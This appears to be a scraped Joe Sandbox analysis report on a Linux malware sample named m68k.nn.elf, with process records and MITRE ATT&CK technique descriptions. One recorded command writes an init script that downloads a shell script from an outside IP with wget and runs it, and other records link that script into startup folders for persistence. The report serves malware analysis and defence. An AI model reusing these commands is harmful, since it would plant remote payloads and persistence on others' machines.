File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5507, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5507, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5509, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5509, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5531, Parent PID: 5509

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5531, Parent PID: 5509

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/m68k.nn.elf
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5532, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5532, Parent PID: 5426

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5537, Parent PID: 5532

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: mkdir PID: 5537, Parent PID: 5532

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir -p /etc/rc.d
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5538, Parent PID: 5426

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: sh PID: 5538, Parent PID: 5426

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5543, Parent PID: 5538

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ln PID: 5543, Parent PID: 5538

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5544, Parent PID: 5426

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/tmp/m68k.nn.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: udisksd PID: 5436, Parent PID: 802

General

Start time (UTC):	04:02:53
Start date (UTC):	24/11/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5436, Parent PID: 802

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5474, Parent PID: 802

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5474, Parent PID: 802

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: gnome-session-binary PID: 5475, Parent PID: 1588

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 5475, Parent PID: 1588

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gsd-housekeeping PID: 5475, Parent PID: 1588

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Chronological Activities

Analysis Process: systemd PID: 5480, Parent PID: 5478

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5480, Parent PID: 5478

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: gdm3 PID: 5510, Parent PID: 1400

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 5510, Parent PID: 1400

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gdm3 PID: 5530, Parent PID: 1400

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 5530, Parent PID: 1400

General

Start time (UTC):	04:02:54
Start date (UTC):	24/11/2024
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: udisksd PID: 5552, Parent PID: 802

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5552, Parent PID: 802

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5607, Parent PID: 802

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5607, Parent PID: 802

General

Start time (UTC):	04:02:55
Start date (UTC):	24/11/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5608, Parent PID: 802

General

Start time (UTC):	04:02:56
Start date (UTC):	24/11/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5608, Parent PID: 802

General

Start time (UTC):	04:02:56
Start date (UTC):	24/11/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: systemd PID: 5634, Parent PID: 1

General

Start time (UTC):	04:03:04
Start date (UTC):	24/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-user-runtime-dir PID: 5634, Parent PID: 1

General

Start time (UTC):	04:03:04
Start date (UTC):	24/11/2024
Path:	/lib/systemd/systemd-user-runtime-dir
Arguments:	/lib/systemd/systemd-user-runtime-dir stop 127
File size:	22672 bytes
MD5 hash:	d55f4b0847f88131dbcfb07435178e54

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report m68k.nn.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/bootcmd

/etc/init.d/m68k.nn.elf

/etc/init.d/system

/etc/inittab

/etc/motd

/etc/profile

/etc/rc.local

/etc/systemd/system/custom.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.NgO5at (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: m68k.nn.elf PID: 5426, Parent PID: 5350

General

Chronological Activities

Analysis Process: m68k.nn.elf PID: 5442, Parent PID: 5426

General

Linux Analysis Report
m68k.nn.elf